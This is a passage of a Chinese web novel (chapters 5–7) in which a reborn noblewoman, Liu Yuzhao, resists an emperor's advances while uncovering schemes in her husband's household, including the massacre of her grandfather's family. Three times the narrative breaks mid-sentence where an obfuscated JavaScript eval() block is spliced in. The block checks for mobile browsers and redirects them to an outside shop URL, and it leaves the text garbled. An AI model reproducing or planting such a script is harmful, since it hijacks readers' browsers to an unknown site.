她后退一步,恢复端庄有礼的微笑。
“臣女谢过陛下赏赐。”
裴钦饮了口茶,眼尾上挑,压低嗓音,倒像是在刻意戏弄她。
“柳姑娘没回答朕,当真嫌弃——”
他状似苦恼皱眉,看向张公公:“张德,宫里可还有多余的女子衣裙?”
柳玉昭正欲解释,听见他的问话顿时住口。
哪怕是宫女的衣裳,都比他口中的皇后常服来得合适。
张公公回道:“回陛下,西宫居住的几位太妃倒是有,可若是奴才借回来,怕是宫门已落锁。”
裴钦以手扶额,慢悠悠道:“柳姑娘,你也听见了,多有不便。”
柳玉昭袖中拢着的手抓得死紧,她真怕自己按捺不住挑破两人一唱一和的伪善假面。
“多谢陛下关怀,茶水无色,臣女的衣裙已经看不出打湿的痕迹,回侯府再换就是。”
裴钦眼神一亮,柳玉昭瞬间意识到她不该说刚刚的话。
可她反复斟酌,都没找到话语中的漏洞。
接着,这位世人眼中威严的帝王,忽然起身走进,站在她的面前。
柳玉昭退一步,他便进一步。
“啪嗒”一声,她的小腿抵在椅子上,被逼着坐下来。
四目相对,裴钦漆黑的眼珠水鬼一样缠着她,极为无礼地凑到柳玉昭耳边,声音里似乎藏着钩子。
“既然看不出打湿的痕迹,不如把朕的衣裳换给你,姑娘觉得如何?是不是甚好?”
“毕竟乍眼一瞧,朕与姑娘穿得一模一样。”
张公公早就有眼色地退到门外。
柳玉昭忍了又忍,袖中的拳头捏得“嘎达”响。
裴钦像是仍觉得刺激不够似的,苦恼道:“不过柳姑娘身量小,朕的旧衣姑娘不能穿,不然……”
柳玉昭抓起手边的茶水就往他身上砸。
登徒子!无耻之徒!
她气得发抖,红晕一直从脖子蔓延到眼角,眼中含着盈盈水光,裴钦觉得她下一秒就能哭出来。
但他只是笑着站在原地,甚至顶着一身茶水转了个圈,俊美昳丽的眉眼徐徐展露不自知的温柔。
“畅快了吗?柳姑娘,是不是很解气?要不要再砸一杯?你瞧,朕的衣服也脏了。”
柳玉昭双手发抖,心脏似乎要从喉咙里跳出来,她眼睛睁得大大的,艰难捂住胸口急促呼吸。
“为什么?”
为什么要让我对你发火?
永昌帝的语气分外轻佻,身体却始终和她保持一段距离,未曾僭越半分。
柳玉昭偏头闭眼,轻声道:“陛下为何如此?”
裴钦坐回椅子上,满身茶叶狼狈不堪,他恍若看不见,落落大方。
“柳姑娘,这桩婚事你心有不快,是朕之过。”
他顿了顿道:“至于原因,玉昭心有玲珑,想来不用我多言。”
柳玉昭喉咙干涩,不敢想象自己听到了什么。
一个男人向一个女人示好,尤其那个女人还是个有妇之夫,目的显而易见。
但——
他是帝王。
且他们只有一面之缘。
柳玉昭张了张口,正要坚定拒绝,却听帝王道:“安北侯夫人来接你了,去罢。”
她几乎瞬间明白了他的态度。
他不接受拒绝。
柳玉昭起身,一步步往外走,她多希望今天发生的一切只是一场梦。
张公公躬身站在殿门处,正拦着贺夫人往里看的视线。
“侯夫人,柳姑娘出来了。”
他朝面色疑惑的贺夫人解释道:“宫女们找了半天,也没找到合身的衣裙,这才让柳姑娘多等了会儿。”
贺夫人看见柳玉昭活着,偷偷松口气。
“公公说笑了,是我教子不严,这才耽误了公公。”
张公公闻言笑脸一僵,他可不想侯夫人回去给柳姑娘使绊子。
“侯夫人慎言,陛下很看重这门婚事,况且以柳姑娘的仪态,自是无可挑剔。”
能在陛下手底下忍那么久没气死,可不得是气度不凡。
贺夫人张口称是,心想莫非上一任扬州牧和陛下有旧,这才对柳氏女多有照拂。
正思量着,柳玉昭已经到了。
张公公:“此处距宫门遥远,我让小太监们套马送两位。”
贺夫人闻言,注意立马被转移,心疼起提前离开的宣儿。
柳玉昭没说话,她低着头,不知在想什么。
张公公不敢多看,躬身回到正德殿。
抬头看见陛下满身茶叶,惊得浮尘都掉了,“来——来人!”
裴钦好脾气地挥手让人退下,自己进内室换身衣服再前往乾元殿处理奏折。
他站在石柱旁,遥望宫门的方向。
那日在客栈匆忙一瞥,裴钦敏锐发现柳玉昭对婚事有怨,不仅如此,她身上仿佛压着什么,始终戴着摘不下的假面。
而怨,只有释放出来,才能有化解的可能。
“恨?”
裴钦似笑非笑:“她竟然对朕有恨?”
茶盏砸在身上的那一刻,他鲜明感知到了,她对他隐藏极深的恨意。
他一见倾心的姑娘居然恨他。
裴钦更感兴趣了。
——
远离宫门,贺夫人问道:“你在里面发生了什么?”
柳玉昭当然不会说实话,胡乱搪塞几句,贺夫人并未起疑。
在她看来,就算陛下真的不满,应当不会对一个一无所知的小姑娘做什么,最多让下人为难她。
贺夫人正想教训一两句,转而想起张公公的话。
算了。
柳玉昭表面平静,实则眼底惊惧万分,她不敢赌陛下有没有发现自己对他的恨意。
连柳玉昭也是重生后才发现,自己竟然恨着很多人。
她恨生父无情,恨婆母无德,恨夫君无责,恨世道不公……当然也恨,把她推进火坑的永昌帝!
如果没有赐婚,柳玉昭还是吃不起饱饭的柳氏女,是有着一个竹马哥哥的阿昭。
姜恒会按照约定,在高中进士后上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309737|198775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门提亲。
姜家清贫,姜恒孤身一人侍奉老母,柳父虽看不起他,但不否认他的才学,称赞他将来大有可为。
姜恒事母至孝,待有婚约的柳玉昭真诚,如今正在凤州苦读,预备明年的科考。
只差一点……柳玉昭心想,只差一点。
她就不必寄出那封绝情信,送还一半鸳鸯佩。
不必——病逝群芳苑!
柳玉昭离幸福那么近,怎能不恨,怎可不恨!
她恨得彻夜难眠,恨得良心不安,恨不得卷包袱从侯府跑了,逃之夭夭。
恨得……戴上假面,装作高门贵妇。
“小姐,该下车了。”
柳玉昭恍惚回神,这才发现马车停在侯府,贺夫人与贺宣早已进府,只有福安走来掀开车帘唤她。
半明半暗的阴影中,柳玉昭的眸光带着说不出的冷意,陌生的小姐吓了福安一跳。
“小姐?”
柳玉昭看向福安,缓缓扬起熟悉的微笑,弯腰挡住刺目的阳光,扶着福安的手往侯府走。
情绪骤然大起大落,她有种说不出的疲惫。
“福安,我想先睡会儿。”
回到群芳苑,丫鬟婆子们鲜少靠近,对柳玉昭仅仅维持着表面的尊敬。
福安从厨房端来煨好的杏仁粥,香甜的麦香涌入鼻尖,从舌头甜到心里。
柳玉昭忽然想起来一件事,“昨天的那支糖画呢?”
福安到内室翻找,出来时手里抓着已经有些融化的糖画。
柳玉昭垂眸,抬起勺子又用了一口杏仁粥。
“丢了。”
柳玉昭躺在榻上,群芳苑对她而言像是一座精致的囚笼,他们把她丢得远远的,只有需要用到的时候才会让她过去。
前世柳玉昭不知吃了多少白眼,才渐渐意识到侯府没人把她当人的道理。
他们不会欺辱她,因为她是陛下亲封的世子妃。
只是冷着她、无视她,看着她慢慢枯萎、烂掉。
爱?
柳玉昭更愿意相信,帝王在戏弄她。
就和话本子里男人欺骗女人一样,随口扯出花言巧语,便要女人来信他、爱他。
再轻飘飘丢弃。
伴着日光,柳玉昭沉沉睡去。
睡梦中她仿佛不再是柳玉昭,而是娘亲的娇娇儿,枕在她温暖的膝上,听娘亲哼着属于江南的小调。
柳玉昭不喜欢繁华的京城,她偏爱母亲话语中的江南。
可惜祖父一脉突遭横祸,尸骨无存。
母亲听闻消息,一时没撑住,撒手去了。
她一直等着死亡同样降临在自己身上那天,与母亲祖父他们团聚。
可惜天要她多活一世,多活……截然不同的一世。
沉沉浮浮的梦境中,柳玉昭看见很多个自己,别无二致的是她们都在经历被磋磨、被冷待。
柳玉昭再难压制心底萌发的疯狂想法。
她为什么不能借助帝王的权势,为自己,为枉死的祖父一家——讨个公道!
“轰隆”一声!
柳玉昭蓦然惊醒,“噼里啪啦”的雨声响个不停,夏日天气多变,她午睡出了一身细汗,扶着有些昏沉的脑袋。
正欲叫福安打水来,却发现桌上的花瓶倒映身旁站着一道黑影。
柳玉昭瞬间惊出一身冷汗。
是谁?!
5. 第 5 章
“玉昭真是警惕,朕刚到侯府便醒了。”
裴钦大喇喇坐下,自顾自斟了杯茶水,冷掉的茶倒也不挑,一饮而尽。
柳玉昭面色未变,仿佛今天什么都没发生。
或者说,正是裴钦出现在侯府给她敲响一记警钟,群芳苑里的丫鬟婆子全都不见了,嘈杂的雨声更显阴沉。
就如他带给她的感觉——明明笑盈盈的,可眼神极冷,藏着深不可测的幽暗。
“陛下怎么来了。”
柳玉昭起身,颇为无礼往内室梳妆镜前走去,隔着一层半掩的帷帐,她脱力坐下。
微颤的手拿起细齿梳,抚平散开的头发。
一下一下,心跳逐渐镇定。
裴钦隔着帷帐看她,天色昏暗,端庄清丽的女郎未燃烛火,却分毫无损她的美丽。
他自认不是肤浅之辈,也做不来登徒子的行径。
“我来问你的回答。”
他没说是什么问题,但彼此心知肚明。
天色愈发昏暗,裴钦不知出于什么心态也没点灯,任由女郎躲在狭窄的内室。
他又给自己倒了杯冷茶,浇灭心头鼓动的急躁。
柳玉昭梳头的手落在腰间,她能感觉到帝王不容忽视的视线,镜中维持不住笑容的女子也在看她。
她忍不住低头,看着自己的手。
这双手无力、孱弱、抓不住任何东西。
现在有人来到她身边,用魔鬼般的语气引诱她,在她手里塞了一把寒光四射的刀,告诉她只要点头,就能拥有所有。
几乎瞬间,令她心跳加速,眼神迷离。
但之后呢?
帝王之爱,何其飘渺可笑,想给便给,不在意时便弃之如敝履。
到时卑微如她,又该如何自处?
她活了一辈子,卑微了一辈子。
难道重活一世——便要攀龙附贵,自己践踏自己吗!
柳玉昭“啪嗒”放下木梳,冷冷道:“陛下请回吧,无论多少次,臣妇只有一个回答,我不愿意!”
泥人尚有三分血性,柳玉昭此时尚未安北侯新妇,陛下就迫不及待与她无媒苟合,明摆着没把她当回事。
“陛下冒天下之大不韪,染指臣妻,就不怕被史书笔官戳断脊梁骨吗!”
她搬出自己的身份,试图劝退他。
柳玉昭不知自己哪来的勇气,或许是一层薄薄的帷帐让她生出与帝王并非同处一室的错觉,也许是帝王白天的举动让她更加放肆。
“臣为安北侯世子之妻,是陛下亲自下旨赐婚的,陛下难道忘了?”
裴钦放下茶盏,轻声笑了:“朕如何能忘。”
“否则,此刻你当在正德殿,而不是屈居侯府。”
“柳玉昭,与贺宣和离,朕娶你为妻,你便是唯一的皇后。”
裴钦登基前纵马沙场,过的都是刀口舔血的日子,从未想过成亲。
登基后朝臣忌惮他的铁血手腕,上了不少折子,劝他大开后宫选妃。
裴钦嫌吵,拖出去全打了一顿,耳边安静不少。
那日花轿中惊鸿一瞥,他脑中突然萌生不合时宜的想法,若是这人嫁的是他,想来也不错。
这话说得重,柳玉昭当即愣住,不可置信道:“陛下,您……说什么?”
她简直不敢相信自己听到的,猛地在大腿掐一把,真的痛,她不是在做梦。
柳玉昭的第一反应是新帝果真是个疯子,第二反应才意识到他话语中的含义。
“为何是我?”
仅仅一面之缘,柳玉昭自认非倾城之姿,他也不是好色之人,后宫无人,如何就非卿不娶?
至于此生唯一这种话,她没当回事。
裴钦起身,柳玉昭因为太过震惊,没发现他在慢慢靠近。
她跪坐在榻上,午睡除去钗环的发丝仅由一条翠色丝带系着,微微颔首,垂眸不知在想什么。
裴钦抬手轻抚发丝,猛地抽去丝带,藏于袖中,挑眉对上镜中错愕惶恐的水色眼眸。
他在笑,红唇扬起,凤眸紧紧捕获怀中不安挣扎的女子,似乎并未觉察娇小身躯的颤抖,宽大粗粝的手掌牢牢按住她的肩膀。
“我来为姑娘绾发。”
说着,拾起落在她腿上的木梳,修长的手指一触即分。
柳玉昭却觉得那寸肌肤烫极……不,不仅是那里!
他的手穿梭在发间,沿着头皮寸寸抚摸,细齿梳所过之处,泛起密集的痒。
她几乎要坐不住卧倒在他怀中。
柳玉昭不敢闭眼,只能被迫清晰感受男人强势的举动,周身盈满霸道的龙涎香。
群芳苑没有熏香,只有窗外栽种的花香。
现在最后一点清净地,也被毫不留情地剥夺了。
裴钦说是绾发,当真尽心尽责,给她束起男子的发髻。
但他的目光又极为放肆,流连在裸露的后颈、侧脸,亲眼看着红霞晕染。
稳稳别上袖中取出的云纹白玉簪后,裴钦退开半步,漆黑的眼眸看向镜中生动了许多的女子。
“好了。”
柳玉昭撑大眼眶,镜中的人让她觉得有些陌生。
明明是一样的长相,但神态不对,记忆中的她总是冷淡矜持的,如何能……如何能生动鲜活至此……
寡淡的、无味的柳玉昭,经由帝王的手,陌生地让她不敢再看。
一只温凉的手落在她的下颚,强硬扳过她的侧脸,让她直视镜中的两人。
“有何不敢看的,朕又不会吃了你。”
柳玉昭双颊滚烫,两人的气息交缠在一处,搅得她神魂震荡。
她这才发现永昌帝的容色极盛,眼尾瑰丽浓艳,带着欲语还休的钩子,引诱她堕落。
“十五年前扬州牧满门惨死之案,玉昭甘愿让它永无重见天日之时?”
“昭昭,昭昭儿,”裴钦亲昵贴在她的发丝上,“唤我裴钦。”
“你甘心吗?昔日崔氏女,沉寂至此。”
“轰隆!”
雷光照在两人身上,劈开最后一丝暧昧。
裴钦不是傀儡帝王,他手里掌握的暗线能让他以最快的速度拿到自己想要的一切。
扬州牧满门惨死一案虽然已经过去十五年,但生活在附近的老人还记得当年住在崔府的表小姐,小小年纪读的书比少爷们还要多,深得崔大人看重。
灭门案发生的前一天,她恰好与母亲离开扬州,平安回到京城。
裴钦眼神死死缠着柳玉昭,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309738|198775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里面似乎藏着噬人的凶兽,要将她亲口撕碎。
“柳玉昭,你可甘心!”
就连裴钦自己都没想到,柳曲文的亡妻竟然是崔力的女儿。
躲在京城不闻不问,想来是为了刻意保护柳玉昭。
裴钦:“到朕身侧,你可自由出入宫闱,一人之下万人之上。”
他抽手离开,按在柳玉昭肩头。
“柳玉昭,君无戏言。”
他的眼神滚烫,毫不掩饰深处的在意与喜爱。
柳玉昭不禁头晕目眩,她眨了眨眼,镜中裴钦仍困住她,等着她的回答。
“臣妇,不愿。”
裴钦起身,微凉的声音夹杂着苑外骤然喧闹的仆妇声,一齐闯入柳玉昭脑中。
“既如此,朕不再强求。”
他挥袖光明正大离开,脚步不疾不徐。
——
“小姐,小姐!”
福安急匆匆从外面撑伞跑来,换了鞋便跑进内室。
“不好了!侯府表姑娘悬梁自尽了!”
“轰隆!”
天上的雷不住响着,柳玉昭来不及收拾纷乱的思绪,闻言道:“你说什么?谁?”
自她重生醒来后,许许多多的变数尽在今日的雨夜爆发。
柳玉昭知道贺兰珠,她除了是安北侯庶妹的女儿外,还是贺夫人弟弟的孩子,来到京城已有两年,侯府上下从前都把她当未来的世子妃对待。
前世直到她病重时,贺兰珠都没嫁出去,一直以表姑娘的身份留在侯府。
她心气要强,不屑针对柳玉昭,两人见面的次数屈指可数。
福安:“现在侯爷夫人都去了兰竹苑,小姐,看病的大夫说表姑娘忧思过重,怕是不好了!”
她焦急万分,小姐刚进门就出了这档子事,免不了被贺夫人和世子迁怒。
柳玉昭腿脚发麻,撑着梳妆台起身适应了会儿。
镜中的她恢复了往日的沉着,只有脑袋上顶着的男子发髻格格不入。
柳玉昭抬手抽出云纹簪,“福安,我们也去。”
她再度坐下,等福安绾好简单的发髻,急忙撑伞前去。
至于裴钦给的那支云纹簪,被她放在镜匣最底下。
——
裴钦快马进入宫门时,外裳被雨水打湿一半,他停下看向阴沉的天空,忽而仰天大笑,只觉畅快。
大婚当日初见,裴钦只觉柳玉昭不同寻常,调查下发现她身世凄惨,不由心生怜悯。
想要成婚的念头自然是真的,但不至于非卿不可。
屡次被人回绝,他亦心有傲气,怎会三番四次送上门让一个女子打脸。
但柳玉昭千不该万不该,在自以为端庄的假面下掩饰对他的恨意。
她之所恨,如熊熊野火,绵绵风絮,永无绝期。
如何能让裴钦舍得放手?
既不愿和离,那便丧夫罢!
裴钦细细品味心底从未有过的疼痛,眼神愈发黑亮。
一介小女子,倒把半数朝臣比了下去。
当真不同寻常。
裴钦大步走进正德殿,“张德,让黄宜成进宫,朕要派他去查一桩案子。”
扬州灭门案,到底是何人所为。
6. 第 6 章
兰竹苑外,柳玉昭刚进门,就听见里面传来一声凄厉的哭闹声:“姑妈,我不会嫁给那人的。”
她脚步一顿,前世贺兰珠从十九岁等到二十九岁,贺夫人只是催过几次,为何今生……
屋里。
贺夫人语气和缓:“姑妈给你说的是户部侍郎的儿子,相貌堂堂,今春刚过二十。”
早在宣儿赐婚圣旨下来后,她就花费不少时间留意京城未娶正妻的世家公子。
户部侍郎的六子在家虽然不受重视,但身负举子功名,若是努力一把,挣个前程也省得。
贺兰珠掐着手指,倔强不肯低头。
邹妈妈守在门口,瞧见来的人是她,上前道:“世子妃,侯爷刚走,世子正在里面,怕是不太方便。”
她心里嘀咕,世子妃真奇怪,居然上赶着看夫君和别的女人牵扯不断,夫人特意叮嘱不告诉世子妃,不曾想她自己来了。
柳玉昭垂眸思索,廊外风雨大,她只是了一件靛青色披风,衬得身形瘦弱,小脸发白。
“劳妈妈费心,我想见见表姑娘。”
“这……”邹妈妈顿时没了主意,里面都乱成一锅粥了,再放人进去不是添乱!
“我去请示夫人。”
邹妈妈推门进去,里面的声音空了一阵,贺夫人落下茶盏:“她来作甚!”
柳玉昭假装没听见,拢了拢披风,接过福安掌心的灯笼,让她去小丫鬟们那儿休息。
“小姐,”福安不想去,但柳玉昭态度坚决,只能遵命。
“嘎吱”一声,邹妈妈打开房门,柳玉昭一眼便看见里面相拥的两人,准确来说是贺宣单方面拉着贺兰珠的手不放。
柳玉昭把灯笼搁架子上,转头才向贺夫人问好。
贺夫人坐在主位打量着她,淡淡道:“你怎么来了?”
这两天她忙得精疲力尽,全是柳玉昭进门后生出的事端,莫不是她和侯府八字不合?
贺宣正哄着贺兰珠,半分好脸色都没给她。
贺兰珠倒是看到了柳玉昭,可她的目光——
柳玉昭心一紧,那不是贺兰珠的眼神,至少不是属于年少时贺兰珠的眼神!
许多线索串在一处,柳玉昭突然生出大胆的念头,她如何能笃定世间遭遇奇遇的人只有自己一人呢?
想到这里,她不禁对贺兰珠多看了几眼。
贺夫人误解了她的意思,以为柳玉昭是来告状的,索性摊开讲:“你也别难过,少年人哪有不糊涂的,等我料理好这件事,自会让宣儿给你赔罪。”
“宣儿,”贺夫人对着贺宣道:“你去和侯爷说些软话。”
见到贺宣仍在苦苦哀求贺兰珠,她心底的气又慢慢涌上来,厉声道:“宣儿!”
贺宣噙着泪眼一哆嗦:“母亲,我……”
贺夫人:“你刚刚顶撞你父亲,现在又顶撞母亲,是翅膀硬了不听话了吗?”
贺兰珠从始至终都一身尖刺模样,既不回应贺宣的安慰,也不理睬贺夫人的劝导。
贺宣怯懦道:“兰珠妹妹,你放心,我只会娶你一人。”
柳玉昭在心里都听笑了,贺宣这样长不大的公子哥,要不是凭借侯府,他哪来的底气。
不过一次次吊着贺兰珠而已。
贺宣离去后,贺夫人最后一点和蔼荡然无存,她冷笑一声:“不管宣儿和你说了什么,两个月后你都得踏上前往李家的花轿。”
她看着贺兰珠脸颊滚落的泪珠,叹气道:“珠儿,别怪姑妈狠心,你和宣儿实在越了界。”
她决不能容许贺兰珠这样不清不楚地跟着贺宣。
贺夫人看向柳玉昭,心里再一次感叹,对比之下她简直安分的不像话。
可惜嫁妆太少了。
贺夫人:“玉昭,你放心,若宣儿日后再有出格举动,我定会为你主持公道。”
柳玉昭却忽然道:“母亲,表姑娘两个月内出嫁……是否有些太急了?”
如果她没记错,两个月后贺宣正好要参加秋闱,贺夫人在这样的时间段处理贺兰珠,难道不怕影响贺宣?
贺夫人颇为讶异地看了她一眼,忽然笑开:“你是个有心的。”
“无恙。”
殊不知正是贺夫人的这句话,在柳玉昭心底掀起惊涛骇浪。
因为前世正是在贺宣通过秋闱成为举人后,新帝查出考题提前泄露,撸下一批在职官员,迁怒勒令世家子弟三年不得参加科考,无数寒门子弟在朝廷站稳脚跟。
贺夫人的态度……她果然知道点什么。
跪坐在地的贺兰珠发出一声冷哼:“她当然不担心,贺宣这个没用的东西,文墨不通自大狂妄,就算在读十年百年,也不过一个小小的童声。”
“你——”贺夫人震怒,抬手就要扇她一巴掌,不料贺兰珠紧紧抓住她的手,眉眼森森。
“姑妈,难道我说的不对?”
贺夫人内心不安,心道难不成宣儿将这件事都告诉了她?
想到这儿,她坐立难安,当即带着邹妈妈离去。
空旷的兰竹苑里,瞬间只剩下贺兰珠和柳玉昭两个人。
贺兰珠对着她痴痴笑着,笑着笑着忍不住流下泪来。
两人都没说话,只是对视。
柳玉昭不解,贺兰珠大动干戈,要做什么?
贺夫人对她的喜爱如空中楼阁,更多把她看成让贺宣听话的工具。
安北侯不在乎她,留着她只是因为贺兰珠父母早亡,侯府能给她一口饭吃。
“哈哈哈哈——”
贺兰珠越笑越大声,柳玉昭看她隐隐有疯癫的征兆,疑惑道:“你为何发笑?”
贺兰珠眼神复杂,眼眶发红,涌动无数复杂的情感。
她像是在看柳玉昭,又像是在看另一个人。
“我笑你处境凄凉,不敢悲喜。”
“我笑我痴心错付,回首物是人非。”
“柳玉昭,”贺兰珠远远看着她,轻声道:“我要走了,我得走了。”
“你莫要像我。”
你要好好的。
——
离开兰竹苑后,柳玉昭回想贺兰珠的神色,心中浮现出一个荒唐的想法。
贺兰珠难道想独自一人离开侯府?
不得不说这个猜测让她直接愣在原地。
虽说当今天下太平,但一介弱女子孤身一人,就算有足够的钱财,也难在世间安身立命。
她是疯了不成?
“小姐,”福安撑伞走在她后头,“雨更大了,再不回去恐遭风寒。”
柳玉昭看向福安,她一脸担忧,此时的关心却让她有些冷。
“福安,母亲离开多久了?”
她记得那年从扬州回来,福安跪在路边卖身葬父,她央求母亲买下福安,留在身边做个洒扫侍女。
后来继母进门,柳府的下人拜高踩低,只有福安一人留在她身侧。
可刚刚贺兰珠借着两人靠近的一刹那,小声告诉柳玉昭,要小心福安,她是麻衣教的人。
福安:“小姐,十年了。”
十年。
十年来她不敢问,不敢看,当年意气风发的小女娘长成规训古板的模样。
娘亲见到她,怕是认不出来了。
柳玉昭记得那晚,身着麻衣的蒙面人冲进崔府,将祖父祖母他们尽数杀光。
她站在崔府外的斜坡上,亲眼目睹。
要不是央求母亲走得慢点,她自己趁机偷偷跑回来看一眼,柳玉昭本不该知道这些。
她害怕得狂奔回去,却一句话都说不出来,只重复着“好黑,好黑”。
娘亲以为她被吓到,顾不得责怪,柔声哄着。
后来她生了一场大病,娘亲一边抹泪一边照顾她,从没问过她那晚到底看见了什么。
刺鼻的血腥味涌入鼻尖,仿佛与那晚的记忆重合。
柳玉昭站在雨中,迎面看见一位黑衣男子朝自己走来。
是侯府的大公子,贺凡。
他颇为惊讶看着柳玉昭,躬身问好:“天湿雨冷,嫂嫂还是早些归去的好。”
贺凡一身黑衣,衣摆沾着血迹,打过招呼便告辞了。
柳玉昭看着他的背影,想起来前世的一件小事。
贺凡的生母当年被安北侯蒙骗,生下贺凡不久便撒手人寰,因此这对父子素有嫌隙。
贺宣舞弊事发,贺凡以保全贺宣性命相要挟,要求与侯府分家,安北侯愤怒之下答应了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309739|198775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>没想到离开侯府后,贺凡步步高升,成为天子近臣,在京城风光无限。
柳玉昭没记错的话,贺凡最后爬到禁卫司左指挥的位置,专管律令刑罚。
她碾了碾指尖,冰凉的雨水漫开。
不等福安追问,柳玉昭收回目光:“明日回府的东西收拾好了吗?”
她转身向群芳苑走去
福安跟在身后小心撑伞,说都收拾好了,贺夫人身边的邹妈妈傍晚还来过一趟,添置了些。
柳玉昭点头,脱下披风交给福安,群芳苑新来的丫鬟们已经备好热水,正等着伺候她。
“李妈妈,昨日的那些丫鬟呢?”
注视着面前陌生的脸庞,进退有度的动作明显不是随意买来应付她的。
李妈妈回话,说是那批小丫头手脚不干净,已经打发她们回去了。
手脚不干净?
柳玉昭几乎要撑不住冷笑,她已经看见梳妆台上大喇喇放着的云纹簪。
走之前明明收好了,又是谁特意翻出来给她看?
“顾妈妈呢?”
顾妈妈贺夫人面前的老人,李妈妈是宫里出来的老人,素来仗着资历躲在后头。
这会儿只见李妈妈不见顾妈妈,任谁来了都得说一声稀奇。
李妈妈低眉敛目,神色恭敬极了。
“回小姐,顾妈妈昨儿染上风寒,怕传了人,正在家中养病。”
一个两个全被打发干净,柳玉昭几乎要为那人的行为发笑,他走之前说什么?
不再强求?
好一个不再强求!好一个独断专横!
柳玉昭的牙齿死死咬住下唇,咬得下唇流血,铁锈味的血迹蜿蜒到喉咙里,也只能留到喉咙里咽下!
明亮的烛火下,周身是不敢僭越的仆妇,柳玉昭却觉得自己愈发形单影只。
她脑子里不由想起贺兰珠的话。
“我笑你处境凄凉,不敢悲喜!”
喜怒哀乐,她柳玉昭一个不占。
无事可喜,无权可怒,无暇可哀,无心可乐。
她柳玉昭,是这天底下最胆小怯懦,裹足不前之人!
“滚下去!”
她心中不知哪来的勇气,冷眼斜视赔笑的李妈妈,高声道:“都滚下去!”
李妈妈一惊,不知哪里冒犯了她。
抬眼见她脸上的阴冷,想起上头吩咐的话,赶忙挥手示意人离开。
圣上让她们来时说过,只要伺候好柳姑娘,除此之外所有事情,一律凭姑娘做主。
福安晚一步进屋,发现小姐态度不对,还以为是李妈妈说了难听的话。
正要上前帮忙,反而被李妈妈捂着嘴一块带出去。
“小姐想一个人待着,别没眼色。”
柳玉昭慢慢除去衣裳没入水中,直至头顶消失。
胸腔内的空气一点点消失,死亡的窒息感袭来,她体会到和前世截然不同的濒死感。
水中猛然钻出一道人影,漆黑的长发蜿蜒开,热水沿着眼皮滴落,与泪水混杂在一处。
柳玉昭痛,全身都痛!
她似乎又回到缠绵病榻的一年,那时她都快把肺咳出来了,苦药一碗碗喝下去,都不见好转。
但现在的痛是清醒的,她能感觉到伴随疼痛裂开,腐朽的血块掉落,生长出新鲜的皮肉。
一只纤薄无力的手扣着浴桶边缘,仿佛要将全身的力气用尽。
冷淡的声音响起,此时却带着与先前不同的恨意。
“裴钦——”
为什么,为什么要来招惹她!
她明明已经屈服于所谓的命运,安心当一个平平无奇的后宅妇人。
凭什么——妄图操纵她的爱恨!
柳玉昭眼神漆黑,瞧着宛若地狱里爬出来的鬼魅。
福安给小姐擦头时,注意到小姐正在看从柳府带来的书卷。
她不识字,小心用帕子裹好头发,才起身将烛火移近了些,“小姐,小心伤眼。”
柳玉昭挑眉,眼波流转间不经意流露出少女的俏皮,她已经许久没有这般轻松惬意了,仿佛放下一块沉甸甸的石头。
“无妨。”
不多读点书,她怎么稳住裴钦那个老色鬼。
7. 第 7 章
次日回门时,贺宣果然没出现。
不仅是贺宣,贺夫为了不见她特意称病,只派了邹妈妈来送行。
邹妈妈看她身边只有李妈妈一人,疑惑道:“怎么不见顾妈妈?”
顾妈妈行事稳妥,贺夫人把人送到柳府前特意叮嘱,要她牢牢看着柳玉昭。
李妈妈上前不着痕迹挡住邹妈妈质问的视线,说道:“昨个儿下雨,顾妈妈染了风寒,正养病呢。”
邹妈妈这才不在追问,叮嘱李妈妈照顾好她,话里话外的意思都是别让她说出什么不该说的。
李妈妈听了眼皮直跳,心想我的好妈妈你可别说了,身后的可是不能惹的贵人!
“好好好,妈妈放心。”李妈妈笑着把话题岔开。
柳玉昭坐在马车上,福安没跟着她一起回去,她让李妈妈随便寻了个由头,打发人去清点库房。
前世差不多就是在回门这日,贺夫人找人摸清她的嫁妆具体数量,随后一点点分出掌家权,压着她补贴侯府。
贺夫人掌管侯府多年,最清楚哪些地方既没油水,明面上看得过去,实际入不敷出。
前世她咬碎一口牙,为了站稳脚跟,变卖衣裳首饰,也得把事情办得漂亮。
福安对她的话深信不疑,当即留下来遮掩。
柳玉昭把手按在经书上,可惜清心宁神的佛文也无法阻挡她心底生出的欲.望。
裴钦那日的话像是一把火,揭开了柳玉昭拼命遮掩的假面。
她藏锋敛秀,戴上最无害的面具,终日端庄娴雅,将自己捏成他人满意的形状。
柳玉昭忘不了娘亲临终前的话。
“娘的娇娇儿,你要躲,躲好藏好,别被他们看见……”
饱含爱意的话成为困住她手脚的枷锁,拖着柳玉昭步步深入,最后永坠深渊。
而现在,有人强硬斩断她的后路,在她面前铺就摇摇欲坠的云端阶梯。
